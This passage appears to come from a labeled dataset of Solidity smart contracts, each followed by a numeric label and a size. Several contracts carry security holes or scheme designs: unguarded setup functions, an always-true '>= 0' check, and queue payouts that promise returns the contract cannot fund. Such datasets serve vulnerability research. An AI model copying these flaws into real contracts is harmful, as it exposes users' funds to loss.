distribution.sumAmount = sumTokenAmount;
distribution.codesCount = codesCount;
distribution.deadline = deadline;
distribution.sponsor = msg.sender;
}
function redeemed(uint160 root, uint index) public view returns(bool) {
Distribution storage distribution = distributions[root];
return distribution.bitMask[index / 32] & (1 << (index % 32)) != 0;
}
function redeem(
bytes calldata signature,
bytes calldata merkleProof
)
external
notInLendingMode
{
bytes32 messageHash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(msg.sender)));
address signer = ECDSA.recover(messageHash, signature);
(uint160 root, uint256 index) = merkleProof.compute(uint160(signer));
Distribution storage distribution = distributions[root];
require(distribution.bitMask[index / 32] & (1 << (index % 32)) == 0);
distribution.bitMask[index / 32] = distribution.bitMask[index / 32] | (1 << (index % 32));
distribution.token.checkedTransfer(msg.sender, distribution.sumAmount.div(distribution.codesCount));
emit Redeemed(root, index, msg.sender);
}
function abort(uint160 root)
public
notInLendingMode
{
Distribution storage distribution = distributions[root];
require(now > distribution.deadline);
uint256 count = 0;
for (uint i = 0; i < 1024; i++) {
if (distribution.bitMask[i / 32] & (1 << (i % 32)) != 0) {
count += distribution.sumAmount / distribution.codesCount;
}
}
distribution.token.checkedTransfer(distribution.sponsor, distribution.sumAmount.sub(count));
delete distributions[root];
}
} | 0 | 1,766 |
pragma solidity ^0.4.23;
contract TecoIco {
function bonusOf(address _owner) public view returns (uint256);
}
contract TecoToken {
function balanceOf(address who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TecoBuyBack is Ownable {
using SafeMath for uint256;
TecoIco public tecoIco;
TecoToken public tecoToken;
mapping(address => uint256) tokensBought;
uint256 public rate;
uint256 public numOrders;
enum OrderStatus {None, Pending, Payed, Deleted}
struct Order {
address investor;
uint amount;
OrderStatus status;
}
mapping(uint256 => Order) orders;
constructor(TecoIco _tecoIco, TecoToken _tecoToken) public{
require(_tecoIco != address(0));
require(_tecoToken != address(0));
tecoIco = _tecoIco;
tecoToken = _tecoToken;
}
function() external payable {}
function withdrawAllFunds()
public
onlyOwner
{
owner.transfer(address(this).balance);
}
function withdrawFunds(uint value)
public
onlyOwner
{
owner.transfer(value);
}
function availableBonuses(address investor) public view returns (uint256) {
if (tecoIco.bonusOf(investor) <= tokensBought[investor]) return 0;
return tecoIco.bonusOf(investor).sub(tokensBought[investor]);
}
function setRate(uint256 _rate)
public
onlyOwner
{
rate = _rate;
}
function createOrder(uint256 _amount)
public
returns (uint256)
{
require(availableBonuses(msg.sender) >= _amount);
require(tecoToken.allowance(msg.sender, address(this)) >= _amount);
orders[numOrders++] = Order(msg.sender, _amount, OrderStatus.Pending);
return numOrders - 1;
}
function calculateSum(uint256 amount)
public
view
returns (uint256)
{
return amount.div(rate);
}
function orderSum(uint256 orderId)
public
view
returns (uint256)
{
return calculateSum(orders[orderId].amount);
}
function payOrders(uint256 orderId_1, uint256 orderId_2, uint256 orderId_3, uint256 orderId_4, uint256 orderId_5)
public
onlyOwner
{
if (orderId_1 >= 0) payOrder(orderId_1);
if (orderId_2 >= 0) payOrder(orderId_2);
if (orderId_3 >= 0) payOrder(orderId_3);
if (orderId_4 >= 0) payOrder(orderId_4);
if (orderId_5 >= 0) payOrder(orderId_5);
}
function payOrder(uint256 orderId)
public
onlyOwner
{
require(address(this).balance >= orderSum(orderId));
require(orders[orderId].status == OrderStatus.Pending);
orders[orderId].status = OrderStatus.Payed;
orders[orderId].investor.transfer(orderSum(orderId));
tecoToken.transferFrom(orders[orderId].investor, owner, orders[orderId].amount);
tokensBought[orders[orderId].investor] += orders[orderId].amount;
}
function deleteOrder(uint256 orderId)
public
{
require(orders[orderId].investor == msg.sender || owner == msg.sender);
require(orders[orderId].status == OrderStatus.Pending);
orders[orderId].status = OrderStatus.Deleted;
}
function getOrderInvestor(uint256 orderId)
public
view
returns (address)
{
return orders[orderId].investor;
}
function getOrderAmount(uint256 orderId)
public
view
returns (uint256)
{
return orders[orderId].amount;
}
function getOrderStatus(uint256 orderId)
public
view
returns (OrderStatus)
{
return orders[orderId].status;
}
function getTokensBought(address investor)
public
view
returns (uint256)
{
return tokensBought[investor];
}
} | 1 | 4,979 |
pragma solidity ^0.4.11;
contract BLOCKCHAIN_DEPOSIT_BETA_1M {
uint constant PAYOUT_INTERVAL = 1 minutes;
uint constant DEPONENT_INTEREST= 10;
uint constant INTEREST_DENOMINATOR = 1000;
event Payout(uint paidPeriods, uint depositors);
struct Depositor
{
address etherAddress;
uint deposit;
uint depositTime;
}
modifier founderOnly { if (msg.sender == contract_founder) _; }
address private contract_founder;
uint private contract_latestPayoutTime;
Depositor[] private contract_depositors;
function BLOCKCHAIN_DEPOSIT_BETA_1M()
{
contract_founder = msg.sender;
contract_latestPayoutTime = now;
}
function() payable
{
addDepositor();
}
function Make_Deposit() payable
{
addDepositor();
}
function status() constant returns (uint deposit_fond_sum, uint depositorsCount, uint unpaidTime, uint unpaidIntervals)
{
deposit_fond_sum = this.balance;
depositorsCount = contract_depositors.length;
unpaidTime = now - contract_latestPayoutTime;
unpaidIntervals = unpaidTime / PAYOUT_INTERVAL;
}
function performPayouts()
{
uint paidPeriods = 0;
uint depositorsDepositPayout;
while(contract_latestPayoutTime + PAYOUT_INTERVAL < now)
{
uint idx;
for (idx = contract_depositors.length; idx-- > 0; )
{
if(contract_depositors[idx].depositTime > contract_latestPayoutTime + PAYOUT_INTERVAL)
continue;
uint payout = (contract_depositors[idx].deposit * DEPONENT_INTEREST) / INTEREST_DENOMINATOR;
if(!contract_depositors[idx].etherAddress.send(payout))
throw;
depositorsDepositPayout += payout;
}
contract_latestPayoutTime += PAYOUT_INTERVAL;
paidPeriods++;
}
Payout(paidPeriods, depositorsDepositPayout);
}
function addDepositor() private
{
contract_depositors.push(Depositor(msg.sender, msg.value, now));
}
function changeFounderAddress(address newFounder) founderOnly
{
contract_founder = newFounder;
}
} | 1 | 4,318 |
pragma solidity ^0.4.25;
contract TwoOneTwo_ETH {
address constant private PROMO = 0xF5610DC0319Bbf6Ed5849c1f7f32a66d1376B2d0;
uint constant public PROMO_PERCENT = 212;
uint constant public MULTIPLIER = 212;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 100000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 2,453 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OpenZeppelinERC20 is StandardToken, Ownable {
using SafeMath for uint256;
uint8 public decimals;
string public name;
string public symbol;
string public standard;
constructor(
uint256 _totalSupply,
string _tokenName,
uint8 _decimals,
string _tokenSymbol,
bool _transferAllSupplyToOwner
) public {
standard = 'ERC20 0.1';
totalSupply_ = _totalSupply;
if (_transferAllSupplyToOwner) {
balances[msg.sender] = _totalSupply;
} else {
balances[this] = _totalSupply;
}
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
}
}
contract MintableToken is BasicToken, Ownable {
using SafeMath for uint256;
uint256 public maxSupply;
bool public allowedMinting;
mapping(address => bool) public mintingAgents;
mapping(address => bool) public stateChangeAgents;
event Mint(address indexed holder, uint256 tokens);
modifier onlyMintingAgents () {
require(mintingAgents[msg.sender]);
_;
}
modifier onlyStateChangeAgents () {
require(stateChangeAgents[msg.sender]);
_;
}
constructor(uint256 _maxSupply, uint256 _mintedSupply, bool _allowedMinting) public {
maxSupply = _maxSupply;
totalSupply_ = totalSupply_.add(_mintedSupply);
allowedMinting = _allowedMinting;
mintingAgents[msg.sender] = true;
}
function mint(address _holder, uint256 _tokens) public onlyMintingAgents() {
require(allowedMinting == true && totalSupply_.add(_tokens) <= maxSupply);
totalSupply_ = totalSupply_.add(_tokens);
balances[_holder] = balanceOf(_holder).add(_tokens);
if (totalSupply_ == maxSupply) {
allowedMinting = false;
}
emit Mint(_holder, _tokens);
}
function disableMinting() public onlyStateChangeAgents() {
allowedMinting = false;
}
function updateMintingAgent(address _agent, bool _status) public onlyOwner {
mintingAgents[_agent] = _status;
}
function updateStateChangeAgent(address _agent, bool _status) public onlyOwner {
stateChangeAgents[_agent] = _status;
}
function availableTokens() public view returns (uint256 tokens) {
return maxSupply.sub(totalSupply_);
}
}
contract TimeLocked {
uint256 public time;
mapping(address => bool) public excludedAddresses;
modifier isTimeLocked(address _holder, bool _timeLocked) {
bool locked = (block.timestamp < time);
require(excludedAddresses[_holder] == true || locked == _timeLocked);
_;
}
constructor(uint256 _time) public {
time = _time;
}
function updateExcludedAddress(address _address, bool _status) public;
}
contract TimeLockedToken is TimeLocked, StandardToken {
constructor(uint256 _time) public TimeLocked(_time) {}
function transfer(address _to, uint256 _tokens) public isTimeLocked(msg.sender, false) returns (bool) {
return super.transfer(_to, _tokens);
}
function transferFrom(
address _holder,
address _to,
uint256 _tokens
) public isTimeLocked(_holder, false) returns (bool) {
return super.transferFrom(_holder, _to, _tokens);
}
}
contract Howdoo is OpenZeppelinERC20, MintableToken, TimeLockedToken {
uint256 public amendCount = 113;
constructor(uint256 _unlockTokensTime) public
OpenZeppelinERC20(0, "uDOO", 18, "uDOO", false)
MintableToken(888888888e18, 0, true)
TimeLockedToken(_unlockTokensTime) {
}
function updateExcludedAddress(address _address, bool _status) public onlyOwner {
excludedAddresses[_address] = _status;
}
function setUnlockTime(uint256 _unlockTokensTime) public onlyStateChangeAgents {
time = _unlockTokensTime;
}
function transfer(address _to, uint256 _tokens) public returns (bool) {
return super.transfer(_to, _tokens);
}
function transferFrom(address _holder, address _to, uint256 _tokens) public returns (bool) {
return super.transferFrom(_holder, _to, _tokens);
}
function migrateBalances(Howdoo _token, address[] _holders) public onlyOwner {
uint256 amount;
for (uint256 i = 0; i < _holders.length; i++) {
amount = _token.balanceOf(_holders[i]);
mint(_holders[i], amount);
}
}
function amendBalances(address[] _holders) public onlyOwner {
uint256 amount = 302074971158267328898484;
for (uint256 i = 0; i < _holders.length; i++) {
require(amendCount > 0);
amendCount--;
totalSupply_ = totalSupply_.sub(amount);
balances[_holders[i]] = balances[_holders[i]].sub(amount);
emit Transfer(_holders[i], address(0), amount);
}
}
} | 1 | 3,547 |
pragma solidity ^0.4.23;
contract CoinZyc
{
address public admin_address = 0x7648c99Be5c365fBfE07Db6c38588695F9C56375;
address public account_address = 0x7648c99Be5c365fBfE07Db6c38588695F9C56375;
mapping(address => uint256) balances;
string public name = "zyccoin";
string public symbol = "ZYC";
uint8 public decimals = 18;
uint256 initSupply = 500000000;
uint256 public totalSupply = 0;
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public direct_drop_switch = true;
uint256 public direct_drop_rate = 10000;
address public direct_drop_address = 0x7648c99Be5c365fBfE07Db6c38588695F9C56375;
address public direct_drop_withdraw_address = 0x7648c99Be5c365fBfE07Db6c38588695F9C56375;
bool public direct_drop_range = true;
uint256 public direct_drop_range_start = 1555635600;
uint256 public direct_drop_range_end = 1564556400;
event TokenPurchase
(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function buyTokens( address _beneficiary )
public
payable
returns (bool)
{
require(direct_drop_switch);
require(_beneficiary != address(0));
if( direct_drop_range )
{
require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end);
}
uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18);
uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount);
require
(
balances[direct_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[direct_drop_address], balances[_beneficiary]);
balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[direct_drop_address], balances[_beneficiary])
);
emit TokenPurchase
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
function setDirectDrop( bool status )
public
admin_only
returns (bool)
{
direct_drop_switch = status;
return true;
}
function withDraw()
public
{
require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address);
require(address(this).balance > 0);
direct_drop_withdraw_address.transfer(address(this).balance);
}
function () external payable
{
buyTokens(msg.sender);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,401 |
pragma solidity ^0.4.24;
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Helper {
using SafeMath for uint256;
function bytes32ToUint(bytes32 n)
public
pure
returns (uint256)
{
return uint256(n);
}
function stringToBytes32(string memory source)
public
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function stringToUint(string memory source)
public
pure
returns (uint256)
{
return bytes32ToUint(stringToBytes32(source));
}
function validUsername(string _username)
public
pure
returns(bool)
{
bytes memory b = bytes(_username);
if ((b.length < 4) || (b.length > 18)) return false;
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if(
!(char >= 0x30 && char <= 0x39) &&
!(char >= 0x41 && char <= 0x5A)
)
return false;
}
if (b[0] >= 0x30 && b[0] <= 0x39) return false;
return true;
}
}
interface DAAInterface {
function citizenMintToken(address _buyer, uint256 _buyPrice, int8 _is_win) external returns(uint256);
function transfer(address _to, uint256 _value) external returns(bool);
function transferFrom(address _from, address _to, uint256 _tokenAmount) external returns(bool);
function balanceOf(address _from) external returns(uint256);
function currentRoundDividend() external;
function getDividendView(address _sender) external returns(uint256);
function getDividendPull(address _sender, uint256 _value) external returns(uint256);
function payOut(address _winner, uint256 _unit, uint256 _value, uint256 _valuebet) external;
function getCitizenBalanceEth(address _sender) external returns(uint256);
function totalSupplyByAddress(address _sender) external returns(uint256);
}
interface TicketInterface{
function getEarlyIncomePull(address _sender) external returns(uint256);
function getEarlyIncomeView(address _sender, bool _current) external returns(uint256);
function getEarlyIncomeByRound(address _buyer, uint256 _round) external returns(uint256);
function currentRound() external returns(uint256);
function ticketSumByAddress(address _sender) external returns(uint256);
}
contract CitizenStorage{
using SafeMath for uint256;
address controller;
modifier onlyCoreContract() {
require(msg.sender == controller, "admin required");
_;
}
mapping (address => uint256) public citizenWinIncome;
mapping (address => uint256) public citizenGameWinIncome;
mapping (address => uint256) public citizenWithdrawed;
function addWinIncome(address _citizen, uint256 _value) public onlyCoreContract() {
citizenWinIncome[_citizen] = _value.add(citizenWinIncome[_citizen]);
citizenWithdrawed[_citizen] = citizenWithdrawed[_citizen].add(_value);
}
function addGameWinIncome(address _citizen, uint256 _value, bool _enough) public onlyCoreContract() {
citizenGameWinIncome[_citizen] = _value.add(citizenGameWinIncome[_citizen]);
if (_enough){
citizenWithdrawed[_citizen] = citizenWithdrawed[_citizen].add(_value);
}
}
function pushCitizenWithdrawed(address _sender, uint256 _value) public onlyCoreContract(){
citizenWithdrawed[_sender] = citizenWithdrawed[_sender].add(_value);
}
constructor (address _contract)
public
{
require(controller== 0x0, "require setup");
controller = _contract;
}
}
contract Citizen{
using SafeMath for uint256;
event Register(uint256 id, uint256 username, address indexed citizen, address indexed ref, uint256 ticketSpend, uint256 totalGameSpend, uint256 dateJoin);
modifier onlyAdmin() {
require(msg.sender == devTeam1, "admin required");
_;
}
modifier onlyCoreContract() {
require(isCoreContract[msg.sender], "admin required");
_;
}
modifier notRegistered(){
require(!isCitizen[msg.sender], "already exist");
_;
}
modifier registered(){
require(isCitizen[msg.sender], "must be a citizen");
_;
}
uint8[10] public TICKET_LEVEL_REF = [uint8(60),40,20,10,10,10,5,5,5,5];
uint8[10] public GAME_LEVEL_REF = [uint8(5),2,1,1,1,1,1,1,1,1];
struct Profile{
uint256 id;
uint256 username;
address ref;
mapping(uint => address[]) refTo;
mapping(address => uint256) payOut;
uint256 totalChild;
uint256 treeLevel;
uint256 citizenBalanceEth;
uint256 citizenBalanceEthBackup;
uint256 citizenTicketSpend;
uint256 citizenGameEthSpend;
uint256 citizenGameTokenSpend;
uint256 citizenEarlyIncomeRevenue;
uint256 citizenTicketRevenue;
uint256 citizenGameEthRevenue;
uint256 citizenGameTokenRevenue;
}
mapping (address => uint256) public citizenEthDividend;
address[21] public mostTotalSpender;
mapping (address => uint256) public mostTotalSpenderId;
mapping (address => mapping(uint256 => uint256)) public payOutByLevel;
mapping (address => Profile) public citizen;
mapping (address => bool) public isCitizen;
mapping (uint256 => address) public idAddress;
mapping (uint256 => address) public usernameAddress;
mapping (uint256 => address[]) public levelCitizen;
address devTeam1;
address devTeam2;
address devTeam3;
address devTeam4;
uint256 public citizenNr;
uint256 lastLevel;
uint256 earlyIncomeBalanceEth;
DAAInterface public DAAContract;
TicketInterface public TicketContract;
CitizenStorage public CitizenStorageContract;
mapping (address => bool) public isCoreContract;
uint256 public coreContractSum;
address[] public coreContracts;
constructor (address[4] _devTeam)
public
{
devTeam1 = _devTeam[0];
devTeam2 = _devTeam[1];
devTeam3 = _devTeam[2];
devTeam4 = _devTeam[3];
citizenNr = 1;
idAddress[1] = devTeam3;
isCitizen[devTeam3] = true;
citizen[devTeam3].ref = devTeam3;
uint256 _username = Helper.stringToUint("GLOBAL");
citizen[devTeam3].username = _username;
usernameAddress[_username] = devTeam3;
citizen[devTeam3].id = 1;
citizen[devTeam3].treeLevel = 1;
levelCitizen[1].push(devTeam3);
lastLevel = 1;
}
function joinNetwork(address[4] _contract)
public
{
require(address(DAAContract) == 0x0,"already setup");
DAAContract = DAAInterface(_contract[0]);
TicketContract = TicketInterface(_contract[1]);
CitizenStorageContract = CitizenStorage(_contract[3]);
for(uint256 i =0; i<3; i++){
isCoreContract[_contract[i]]=true;
coreContracts.push(_contract[i]);
}
coreContractSum = 3;
}
function updateTotalChild(address _address)
private
{
address _member = _address;
while(_member != devTeam3) {
_member = getRef(_member);
citizen[_member].totalChild ++;
}
}
function addCoreContract(address _address) public
onlyAdmin()
{
require(_address!=0x0,"Invalid address");
isCoreContract[_address] = true;
coreContracts.push(_address);
coreContractSum+=1;
}
function updateRefTo(address _address) private {
address _member = _address;
uint256 level =1;
while (_member != devTeam3 && level<11){
_member = getRef(_member);
citizen[_member].refTo[level].push(_address);
level = level+1;
}
}
function register(string _sUsername, address _ref)
public
notRegistered()
{
require(Helper.validUsername(_sUsername), "invalid username");
address sender = msg.sender;
uint256 _username = Helper.stringToUint(_sUsername);
require(usernameAddress[_username] == 0x0, "username already exist");
usernameAddress[_username] = sender;
address validRef = isCitizen[_ref] ? _ref : devTeam3;
isCitizen[sender] = true;
citizen[sender].username = _username;
citizen[sender].ref = validRef;
citizenNr++;
idAddress[citizenNr] = sender;
citizen[sender].id = citizenNr;
uint256 refLevel = citizen[validRef].treeLevel;
if (refLevel == lastLevel) lastLevel++;
citizen[sender].treeLevel = refLevel + 1;
levelCitizen[refLevel + 1].push(sender);
updateRefTo(sender);
updateTotalChild(sender);
emit Register(citizenNr,_username, sender, validRef, citizen[sender].citizenTicketSpend, citizen[sender].citizenGameEthSpend, now);
}
function getRef(address _address)
public
view
returns (address)
{
return citizen[_address].ref == 0x0 ? devTeam3 : citizen[_address].ref;
}
function getUsername(address _address)
public
view
returns (uint256)
{
return citizen[_address].username;
}
function isDev() public view returns(bool){
if (msg.sender == devTeam1) return true;
return false;
}
function getAddressById(uint256 _id)
public
view
returns (address)
{
return idAddress[_id];
}
function getAddressByUserName(string _username)
public
view
returns (address)
{
return usernameAddress[Helper.stringToUint(_username)];
}
function pushTicketRefIncome(address _sender)
public
payable
onlyCoreContract()
{
uint256 _amount = msg.value;
_amount = _amount.div(170);
address sender = _sender;
address ref = getRef(sender);
uint256 money;
uint8 level;
for (level=0; level<10; level++){
money = _amount.mul(TICKET_LEVEL_REF[level]);
citizen[ref].citizenBalanceEth = money.add(citizen[ref].citizenBalanceEth);
citizen[ref].citizenTicketRevenue = money.add(citizen[ref].citizenTicketRevenue);
citizen[ref].payOut[_sender] = money.add(citizen[ref].payOut[_sender]);
payOutByLevel[ref][level+1] = money.add(payOutByLevel[ref][level+1]);
sender = ref;
ref = getRef(sender);
}
}
function pushGametRefIncome(address _sender)
public
payable
onlyCoreContract()
{
uint256 _amount = msg.value;
_amount = _amount.div(15);
address sender = _sender;
address ref = getRef(sender);
uint256 level;
uint256 money;
uint256 forDaa;
for (level=0; level<10; level++){
forDaa=0;
money = _amount.mul(GAME_LEVEL_REF[level]);
if (citizen[ref].citizenGameEthRevenue<citizen[ref].citizenGameEthSpend.div(10)){
if (citizen[ref].citizenGameEthRevenue+money>citizen[ref].citizenGameEthSpend.div(10)){
forDaa = citizen[ref].citizenGameEthRevenue+money-citizen[ref].citizenGameEthSpend.div(10);
money = money.sub(forDaa);
}
} else {
forDaa = money;
money = 0;
}
citizen[ref].citizenBalanceEth = money.add(citizen[ref].citizenBalanceEth);
citizen[ref].citizenGameEthRevenue = money.add(citizen[ref].citizenGameEthRevenue);
citizen[ref].payOut[_sender] = money.add(citizen[ref].payOut[_sender]);
payOutByLevel[ref][level+1] = money.add(payOutByLevel[ref][level+1]);
citizen[devTeam3].citizenBalanceEth = forDaa.add(citizen[devTeam3].citizenBalanceEth);
